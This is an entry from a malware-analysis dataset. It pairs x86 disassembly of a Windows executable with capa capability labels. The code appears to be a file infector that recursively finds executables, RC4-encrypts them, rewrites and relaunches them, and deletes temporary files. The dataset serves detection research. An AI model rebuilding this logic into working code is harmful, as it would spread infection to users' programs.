joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409470
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov edi, edx
mov esi, eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push esi
call sub.kernel32.dll_CreateFileW
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4094c2
push 0
lea eax, [esp + 8]
push eax
push 1
lea eax, [esp + 0xc]
push eax
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
cmp byte [esp], 0x20
jae 0x4094c2
mov edx, edi
mov eax, esi
call fcn.00409294
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4094c8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
mov edi, ecx
mov esi, edx
mov ebp, eax
push 0x40
push 0x3000
push esi
call sub.kernel32.dll_lstrlenA_1
mov ebx, eax
add ebx, 0x3c6
push edi
call sub.kernel32.dll_lstrlenA_1
add ebx, eax
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
push 0x4113b0
push ebx
call sub.kernel32.dll_lstrcpyA
push esi
push ebx
call sub.kernel32.dll_lstrcatA
push 0x4114e8
push ebx
call sub.kernel32.dll_lstrcatA
push edi
push ebx
call sub.kernel32.dll_lstrcatA
push 0x411510
push ebx
call sub.kernel32.dll_lstrcatA
push 0
push ebp
call sub.kernel32.dll_BeginUpdateResourceW
mov ebp, eax
push ebx
call sub.kernel32.dll_lstrlenA_1
push eax
push ebx
push 0
push 1
push 0x18
push ebp
call sub.kernel32.dll_UpdateResourceW
push 0
push ebp
call sub.kernel32.dll_EndUpdateResourceW
push 0x8000
push 0
push ebx
call sub.kernel32.dll_VirtualFree_1
push 0x8000
push 0
push esi
call sub.kernel32.dll_VirtualFree_1
push 0x8000
push 0
push edi
call sub.kernel32.dll_VirtualFree_1
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x409910
Capabilities:
Parse pe header

Disassembly:
push esi
xor ecx, ecx
test edx, edx
je 0x40993e
mov eax, edx
cmp word [eax], 0x5a4d
jne 0x40993e
mov esi, dword [eax + 0x3c]
cmp esi, 0x40
jb 0x40993e
cmp esi, 0xf08
ja 0x40993e
add esi, edx
mov eax, esi
cmp dword [eax], 0x4550
jne 0x40993e
mov cl, 1
mov eax, ecx
pop esi
ret
Function at 0x409de8
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, edx
mov ebx, eax
mov esi, dword [ebx + 0x11]
test esi, esi
je 0x409e04
mov edx, esi
mov eax, ebx
call fcn.00409910
test al, al
jne 0x409e26
mov dword [ebx + 0xc], 6
cmp byte [ebx + 0x10], 0
je 0x409ec8
mov edx, 0x409ed8
mov eax, ebx
call fcn.004098a8
jmp 0x409ec8
push 0
push 0x80
push 4
push 0
push 3
push 0xc0000000
push edi
call sub.kernel32.dll_CreateFileW
mov esi, eax
cmp esi, 0xffffffff
jne 0x409e60
mov dword [ebx + 0xc], 2
cmp byte [ebx + 0x10], 0
je 0x409ec8
mov edx, 0x409ef4
mov eax, ebx
call fcn.004098a8
jmp 0x409ec8
mov eax, dword [ebx + 8]
mov eax, dword [eax + 0x54]
mov dword [ebx + 0x17], eax
push 0
push 0
push 0
push esi
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 8]
mov eax, dword [eax + 0x54]
push eax
mov eax, dword [ebx + 0x11]
push eax
push esi
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x409e9c
mov eax, dword [ebx + 8]
mov eax, dword [eax + 0x54]
cmp eax, dword [esp]
je 0x409ebd
mov dword [ebx + 0xc], 4
cmp byte [ebx + 0x10], 0
je 0x409eb5
mov edx, 0x409f10
mov eax, ebx
call fcn.004098a8
push esi
call sub.kernel32.dll_CloseHandle
jmp 0x409ec8
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
mov dword [ebx + 0xc], eax
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40cd28
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
xor ecx, ecx
dec edx
test edx, edx
jl 0x40cd57
inc edx
movzx ebx, cx
shr ebx, 8
movzx esi, byte [eax]
xor ebx, esi
and ebx, 0xff
mov bx, word [ebx*4 + 0x411738]
shl ecx, 8
xor bx, cx
mov ecx, ebx
inc eax
dec edx
jne 0x40cd32
mov eax, ecx
pop esi
pop ebx
ret

Function at 0x40d154
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
mov esi, eax
push esi
call sub.kernel32.dll_lstrlenA_1
mov ebx, eax
push 0x40
push 0x3000
lea ebp, [ebx + ebx*2]
push ebp
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov edi, eax
push ebp
push edi
push ebx
push esi
push 0
push 0
call sub.kernel32.dll_MultiByteToWideChar
mov eax, edi
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40d18c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
mov esi, eax
push esi
call sub.kernel32.dll_lstrlenW_1
mov ebx, eax
push 0x40
push 0x3000
lea eax, [ebx + 1]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov edi, eax
mov edx, esi
mov esi, edi
test ebx, ebx
je 0x40d1d6
mov ax, word [edx]
cmp ax, 0x41
jb 0x40d1c8
cmp ax, 0x5a
ja 0x40d1c8
add ax, 0x20
mov word [esi], ax
add edx, 2
add esi, 2
dec ebx
test ebx, ebx
jne 0x40d1b5
mov eax, edi
pop edi
pop esi
pop ebx
ret

Function at 0x40d2bc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
mov esi, eax
push 0x40
push 0x3000
push 0x30c
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
push 0xffffffffffffffff
movzx ecx, si
mov edx, ebx
xor eax, eax
call fcn.0040d1dc
test eax, eax
jne 0x40d2f4
push 0x8000
push 0
push ebx
call sub.kernel32.dll_VirtualFree_1
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x40d2fc
Capabilities:
Allocate or change rwx memory
Get file size
Read file on windows

Disassembly:
push ebx
push esi
push edi
push ecx
mov esi, edx
xor edx, edx
mov dword [esi], edx
xor edi, edi
push 0
push 0x86
push 3
push 0
push 1
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileW
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40d361
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov dword [esi], eax
push 0x40
push 0x3000
mov eax, dword [esi]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov edi, eax
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [esp + 4]
push eax
mov eax, dword [esi]
push eax
push edi
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40d544
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push ecx
mov ebx, eax
xor esi, esi
test bl, bl
jbe 0x40d58f
push 0x40
push 0x3000
xor eax, eax
mov al, bl
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
call fcn.004026cc
dec ebx
test bl, bl
jb 0x40d58f
inc ebx
mov byte [esp], 0
mov eax, 0x1a
call fcn.004027fc
add eax, 0x41
xor edx, edx
mov dl, byte [esp]
mov byte [esi + edx], al
inc byte [esp]
dec bl
jne 0x40d573
mov eax, esi
pop edx
pop esi
pop ebx
ret

Function at 0x40d598
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
add esp, 0xffffffe8
mov ebx, eax
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 0x14
call fcn.004027dc
mov eax, ebx
cdq
xor eax, edx
sub eax, edx
mov ebx, eax
xor ecx, ecx
mov eax, ebx
mov esi, 0xa
cdq
idiv esi
add edx, 0x30
mov byte [esp + ecx + 4], dl
inc ecx
mov eax, ebx
mov ebx, 0xa
cdq
idiv ebx
mov ebx, eax
test ebx, ebx
jne 0x40d5ba
push 0x40
push 0x3000
push 0x14
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [esp], eax
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrlenA_1
mov edx, eax
mov eax, esp
call fcn.0040d4a4
mov eax, dword [esp]
add esp, 0x18
pop esi
pop ebx
ret
Function at 0x40d834
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov dword [esp + 4], edx
mov dword [esp], eax
xor esi, esi
xor edi, edi
mov eax, ecx
dec eax
test eax, eax
jb 0x40d8a2
inc eax
xor edx, edx
inc esi
and esi, 0xff
xor ecx, ecx
mov cl, byte [esi + 0x418b54]
lea ebx, [ecx + edi]
and ebx, 0xff
mov edi, ebx
mov bl, byte [edi + 0x418b54]
mov byte [esi + 0x418b54], bl
mov byte [edi + 0x418b54], cl
xor ebx, ebx
mov bl, byte [esi + 0x418b54]
add ecx, ebx
and ecx, 0xff
mov ebx, dword [esp]
mov bl, byte [ebx + edx]
xor bl, byte [ecx + 0x418b54]
mov ecx, dword [esp + 4]
mov byte [ecx + edx], bl
inc edx
dec eax
jne 0x40d84f
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40da28
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov esi, eax
xor ebx, ebx
push 0x40
push 0x3000
push 0x10
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [esp + 4], eax
push 0x40daa4
mov eax, dword [esp + 8]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [esp + 4]
call fcn.0040d4e4
mov edx, esp
mov eax, esi
call fcn.0040d2fc
mov esi, eax
test esi, esi
je 0x40da7f
mov ecx, dword [esp]
mov edx, dword [esp + 4]
mov eax, esi
call fcn.0040d370
dec eax
jle 0x40da7f
mov bl, 1
push 0x8000
push 0
push esi
call sub.kernel32.dll_VirtualFree_1
push 0x8000
push 0
mov eax, dword [esp + 0xc]
push eax
call sub.kernel32.dll_VirtualFree_1
mov eax, ebx
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x40dab8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
mov ebx, eax
push 0x40
push 0x3000
push 0x400
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
test bl, bl
jne 0x40dae4
push 0x400
push esi
push 0
call sub.kernel32.dll_GetModuleFileNameW_1
jmp 0x40daf5
push 0x400
push esi
mov eax, dword [0x418660]
push eax
call sub.kernel32.dll_GetModuleFileNameW_1
mov eax, esi
pop esi
pop ebx
ret

Function at 0x40dafc
Capabilities:
Allocate or change rwx memory
Get common file path
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebp, ecx
mov dword [esp], edx
mov edi, eax
push 0x40
push 0x3000
push 0x410
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
push ebx
push 0x410
call sub.kernel32.dll_GetTempPathW
push ebp
push ebx
call sub.kernel32.dll_lstrcatW
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push ebx
call sub.kernel32.dll_CreateFileW
mov esi, eax
push 0
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 8]
push eax
push edi
push esi
call sub.kernel32.dll_WriteFile_1
push esi
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push edi
call sub.kernel32.dll_VirtualFree_1
push 0x8000
push 0
push ebp
call sub.kernel32.dll_VirtualFree_1
mov eax, ebx
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40db88
Capabilities:
Allocate or change rwx memory
Get common file path
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
mov edi, eax
push 0x40
push 0x3000
push 0x410
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
push ebx
push 0x410
call sub.kernel32.dll_GetCurrentDirectoryW
push 0x40dc0c
push ebx
call sub.kernel32.dll_lstrcatW
push esi
push ebx
call sub.kernel32.dll_lstrcatW
push 0
push 0x86
push 2
push 0
push 2
push 0x40000000
push esi
call sub.kernel32.dll_CreateFileW
mov esi, eax
push 0
lea eax, [esp + 4]
push eax
push ebp
push edi
push esi
call sub.kernel32.dll_WriteFile_1
push esi
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push edi
call sub.kernel32.dll_VirtualFree_1
mov eax, ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40dc10
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, edx
mov esi, eax
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push ecx
call sub.kernel32.dll_CreateFileW
mov ebx, eax
push 0
lea eax, [esp + 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push esi
call sub.kernel32.dll_VirtualFree_1
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40dc5c
Capabilities:
Allocate or change rwx memory
Get file size

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
push 0
push 0x86
push 3
push 0
push 1
push 0x80000000
push esi
call sub.kernel32.dll_CreateFileW
mov ebx, eax
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov dword [esp + 4], eax
push ebx
call sub.kernel32.dll_CloseHandle
cmp dword [esp + 4], 0x2800
jbe 0x40ddce
cmp dword [esp + 4], 0x1e00000
jae 0x40ddce
push 0x40
push 0x3000
push 0x10
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [esp + 8], eax
push 0x40ddd8
mov eax, dword [esp + 0xc]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [esp + 8]
call fcn.0040d4e4
lea edx, [esp + 4]
mov eax, esi
call fcn.0040d2fc
mov ebx, eax
test ebx, ebx
je 0x40ddbd
mov edx, esp
mov eax, edi
call fcn.0040d2fc
mov dword [esp + 0xc], eax
push 0x40
push 0x3000
mov eax, dword [esp + 8]
add eax, 0x18
add eax, dword [esp + 0xc]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov edi, eax
mov ecx, dword [esp]
mov edx, dword [esp + 0xc]
mov eax, edi
call fcn.0040d49c
mov eax, edi
add eax, dword [esp]
inc eax
mov ecx, 0x10
mov edx, dword [esp + 8]
call fcn.0040d49c
mov eax, 0x411b44
mov edx, 0x80
call fcn.0040d61c
push 0x40
push 0x3000
mov eax, dword [esp + 0xc]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebp, eax
mov edx, ebp
mov eax, ebx
mov ecx, dword [esp + 4]
call fcn.0040d834
mov eax, edi
add eax, dword [esp]
add eax, 0x11
mov ecx, dword [esp + 4]
mov edx, ebp
call fcn.0040d49c
mov edx, dword [esp]
add edx, 0x18
add edx, dword [esp + 4]
mov ecx, esi
mov eax, edi
call fcn.0040dc10
push 0x8000
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.kernel32.dll_VirtualFree_1
push 0x8000
push 0
push ebx
call sub.kernel32.dll_VirtualFree_1
push 0x8000
push 0
push ebp
call sub.kernel32.dll_VirtualFree_1
push 0x8000
push 0
mov eax, dword [esp + 0x10]
push eax
call sub.kernel32.dll_VirtualFree_1
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40ddec
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, eax
push 0x40
push 0x3000
push ebx
call sub.kernel32.dll_lstrlenW_1
lea eax, [eax + eax*2]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
push ebx
call sub.kernel32.dll_lstrlenW_1
cmp eax, 1
jb 0x40de30
cmp di, word [ebx + eax*2]
jne 0x40de2b
inc eax
push eax
push ebx
push esi
call sub.kernel32.dll_lstrcpynW
mov esi, eax
jmp 0x40de30
dec eax
test eax, eax
jne 0x40de18
mov eax, esi
pop edi
pop esi
pop ebx
ret

Function at 0x40de38
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, eax
push 0x40
push 0x3000
push ebx
call sub.kernel32.dll_lstrlenW_1
lea eax, [eax + eax*2]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
push ebx
call sub.kernel32.dll_lstrlenW_1
cmp eax, 1
jb 0x40de81
cmp di, word [ebx + eax*2]
jne 0x40de7c
inc eax
mov edx, eax
add edx, edx
add ebx, edx
push ebx
push esi
call sub.kernel32.dll_lstrcpyW
mov esi, eax
jmp 0x40de81
dec eax
test eax, eax
jne 0x40de64
mov eax, esi
pop edi
pop esi
pop ebx
ret
Function at 0x40dfb4
Capabilities:
Delete file

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov ebx, eax
cmp dl, 1
jne 0x40e069
push ebx
call sub.kernel32.dll_lstrlenW_1
mov ecx, eax
mov edx, 0x40e1f0
mov eax, ebx
call fcn.0040d404
dec eax
jle 0x40dff4
push ebx
call sub.kernel32.dll_lstrlenW_1
mov ecx, eax
mov edx, 0x40e200
mov eax, ebx
call fcn.0040d404
dec eax
jg 0x40e022
push ebx
call sub.kernel32.dll_lstrlenW_1
mov ecx, eax
mov edx, 0x40e214
mov eax, ebx
call fcn.0040d404
dec eax
jle 0x40e057
push ebx
call sub.kernel32.dll_lstrlenW_1
mov ecx, eax
mov edx, 0x40e228
mov eax, ebx
call fcn.0040d404
dec eax
jle 0x40e057
lea edx, [esp + 8]
mov eax, ebx
call fcn.0040d2fc
mov esi, eax
mov ecx, dword [esp + 8]
mov edx, dword [0x418d54]
mov eax, esi
call fcn.0040d370
dec eax
jle 0x40e04a
mov byte [0x418d58], 1
push 0x8000
push 0
push esi
call sub.kernel32.dll_VirtualFree_1
push 0x8000
push 0
push ebx
call sub.kernel32.dll_VirtualFree_1
jmp 0x40e1e6
push ebx
call sub.kernel32.dll_lstrlenW_1
mov ecx, eax
mov edx, 0x40e23c
mov eax, ebx
call fcn.0040d404
dec eax
jle 0x40e09e
push ebx
call sub.kernel32.dll_lstrlenW_1
mov ecx, eax
mov edx, 0x40e248
mov eax, ebx
call fcn.0040d404
inc eax
jne 0x40e09e
mov eax, ebx
call fcn.0040de88
mov edx, 0x40e250
mov eax, ebx
call fcn.0040d9fc
test al, al
je 0x40e1d9
mov eax, ebx
call fcn.0040957c
cmp al, 0x20
jne 0x40e1d9
mov eax, ebx
call fcn.0040da28
test al, al
jne 0x40e1d9
mov al, 0xc
call fcn.0040d544
mov ebp, eax
cmp byte [0x418d68], 1
jne 0x40e147
mov al, 1
call fcn.0040dab8
mov edi, eax
lea edx, [esp + 4]
mov eax, edi
call fcn.0040d2fc
push eax
mov eax, ebp
call fcn.0040d154
mov ecx, eax
mov edx, dword [esp + 8]
pop eax
call fcn.0040dafc
mov esi, eax
mov dl, 1
mov eax, dword [0x4097a8]
call fcn.004097fc
mov dword [esp], eax
mov edx, esi
mov eax, dword [esp]
call fcn.004099a0
mov eax, dword [esp]
mov eax, dword [eax + 8]
mov word [eax + 0x16], 0x818e
mov edx, esi
mov eax, dword [esp]
call fcn.00409de8
mov dl, 1
mov eax, dword [esp]
mov ecx, dword [eax]
call dword [ecx - 4]
jmp 0x40e171
xor eax, eax
call fcn.0040dab8
mov edi, eax
lea edx, [esp + 4]
mov eax, edi
call fcn.0040d2fc
push eax
mov eax, ebp
call fcn.0040d154
mov ecx, eax
mov edx, dword [esp + 8]
pop eax
call fcn.0040dafc
mov esi, eax
mov eax, esi
call fcn.00408df0
mov al, 0x10
call fcn.0040d544
push eax
mov al, 8
call fcn.0040d544
mov edx, eax
mov eax, esi
pop ecx
call fcn.004094c8
mov edx, esi
mov eax, ebx
call fcn.00409160
mov edx, esi
mov eax, ebx
call fcn.00409258
mov edx, esi
mov eax, ebx
call fcn.0040dc5c
push esi
call sub.kernel32.dll_DeleteFileW
push 0x8000
push 0
push ebp
call sub.kernel32.dll_VirtualFree_1
push 0x8000
push 0
push esi
call sub.kernel32.dll_VirtualFree_1
push 0x8000
push 0
push edi
call sub.kernel32.dll_VirtualFree_1
push 0x8000
push 0
push ebx
call sub.kernel32.dll_VirtualFree_1
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40e25c
Capabilities:
Allocate or change rwx memory
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdb0
mov ebx, edx
mov ebp, eax
mov eax, esp
mov edx, 0x250
call fcn.004054b4
mov dword [esp], 0x86
push 0x40
push 0x3000
push ebp
call sub.kernel32.dll_lstrlenW_1
add eax, 5
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov edi, eax
push ebp
push edi
call sub.kernel32.dll_lstrcpyW
push 0x40e3d0
push edi
call sub.kernel32.dll_lstrcatW
push 0x40e3dc
push ebp
call sub.kernel32.dll_lstrcatW
push 0
push 0
push 0
lea eax, [esp + 0xc]
push eax
push 0
push edi
call sub.kernel32.dll_FindFirstFileExW
mov esi, eax
push 0x8000
push 0
push edi
call sub.kernel32.dll_VirtualFree_1
cmp esi, 0xffffffff
je 0x40e3b1
mov eax, dword [esp]
and eax, 0x10
cmp eax, 0x10
jne 0x40e35c
push 0x40e3e0
lea eax, [esp + 0x30]
push eax
call sub.kernel32.dll_lstrcmpW_1
test eax, eax
je 0x40e39c
push 0x40e3e4
lea eax, [esp + 0x30]
push eax
call sub.kernel32.dll_lstrcmpW_1
test eax, eax
je 0x40e39c
push ebp
call sub.kernel32.dll_lstrlenW_1
mov edi, eax
lea eax, [esp + 0x2c]
push eax
call sub.kernel32.dll_lstrlenW_1
add edi, eax
mov eax, edi
push 0x40
push 0x3000
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov edi, eax
push ebp
push edi
call sub.kernel32.dll_lstrcpyW
lea eax, [esp + 0x2c]
push eax
push edi
call sub.kernel32.dll_lstrcatW
mov edx, ebx
mov eax, edi
call fcn.0040e25c
jmp 0x40e39c
push 0x40
push 0x3000
push ebp
call sub.kernel32.dll_lstrlenW_1
mov edi, eax
lea eax, [esp + 0x34]
push eax
call sub.kernel32.dll_lstrlenW_1
add edi, eax
push edi
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov edi, eax
push ebp
push edi
call sub.kernel32.dll_lstrcpyW
lea eax, [esp + 0x2c]
push eax
push edi
call sub.kernel32.dll_lstrcatW
mov edx, ebx
mov eax, edi
call fcn.0040dfb4
push esp
push esi
call sub.kernel32.dll_FindNextFileW
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x40e2df
push 0x8000
push 0
push ebp
call sub.kernel32.dll_VirtualFree_1
push esi
call sub.kernel32.dll_FindClose_1
add esp, 0x250
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40e578
Capabilities:
Create process on windows

Disassembly:
push ebx
add esp, 0xffffffac
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x40e5ca
mov eax, esp
mov edx, 0x44
call fcn.004054b4
mov dword [esp], 0x44
mov dword [esp + 0x2c], 1
mov word [esp + 0x30], 1
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_CreateProcessW
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x54
pop ebx
ret
Function at 0x40e6e8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
add esp, 0xffffffdc
mov ebx, edx
mov esi, eax
push 9
push esi
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcpynA_1
push 5
push esi
lea eax, [esp + 0x11]
push eax
call sub.kernel32.dll_lstrcpynA_1
push 0x40e79c
lea eax, [esp + 0x16]
push eax
call sub.kernel32.dll_lstrcpyA
push 0x40e7a8
lea eax, [esp + 0x1f]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [esp + 0x12]
push eax
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrcmpA
test eax, eax
jne 0x40e75d
push 0x40
push 0x3000
push 0xb
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebx], eax
push 0x40e7b0
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_lstrcpyW
jmp 0x40e795
lea eax, [esp + 0x1b]
push eax
lea eax, [esp + 0xd]
push eax
call sub.kernel32.dll_lstrcmpA
test eax, eax
jne 0x40e791
push 0x40
push 0x3000
push 0xb
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebx], eax
push 0x40e7bc
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_lstrcpyW
jmp 0x40e795
xor eax, eax
mov dword [ebx], eax
add esp, 0x24
pop esi
pop ebx
ret

Function at 0x40e7c8
Capabilities:
Allocate or change rwx memory
Create process on windows
Delete file

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
xor eax, eax
call fcn.0040dab8
mov ebx, eax
lea edx, [esp + 8]
mov eax, ebx
call fcn.0040d2fc
mov edi, eax
push 0x40
push 0x3000
push 0x10
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [esp + 4], eax
push 0x40e944
mov eax, dword [esp + 8]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [esp + 4]
call fcn.0040d4e4
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
mov eax, edi
call fcn.0040d370
mov ebp, eax
cmp ebp, 1
jle 0x40e93a
lea eax, [ebp + 0x10]
mov esi, dword [esp + 8]
sub esi, eax
push 0x40
push 0x3000
push esi
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [esp], eax
lea edx, [ebp + 0x10]
add edx, edi
mov ecx, esi
mov eax, dword [esp]
call fcn.0040d49c
mov eax, 0x411b44
mov edx, 0x80
call fcn.0040d61c
push 0x40
push 0x3000
push esi
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov edi, eax
mov edx, edi
mov eax, dword [esp]
mov ecx, esi
call fcn.0040d834
lea edx, [esp + 0xc]
mov eax, edi
call fcn.0040e6e8
cmp dword [esp + 0xc], 0
je 0x40e8ec
mov dx, 0x5c
mov eax, ebx
call fcn.0040de38
mov ebp, eax
push ebp
push ebx
call sub.kernel32.dll_lstrcpyW
push 0x40e958
push ebx
call sub.kernel32.dll_lstrcatW
mov eax, dword [esp + 0xc]
push eax
push ebx
call sub.kernel32.dll_lstrcatW
mov ecx, ebx
mov edx, esi
mov eax, edi
call fcn.0040db88
mov esi, eax
push 0x8000
push 0
push ebp
call sub.kernel32.dll_VirtualFree_1
push 1
push 0
push 0
push esi
push 0x40e960
push 0
call sub.shell32.dll_ShellExecuteW
jmp 0x40e90c
mov al, 6
call fcn.0040d544
call fcn.0040d154
mov ecx, eax
mov edx, esi
mov eax, edi
call fcn.0040db88
mov esi, eax
mov eax, esi
call fcn.0040e578
push 0x1f40
call sub.kernel32.dll_Sleep
push esi
call sub.kernel32.dll_DeleteFileW
test eax, eax
je 0x40e90c
push 0x8000
push 0
push ebx
call sub.kernel32.dll_VirtualFree_1
push 0x8000
push 0
push esi
call sub.kernel32.dll_VirtualFree_1
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret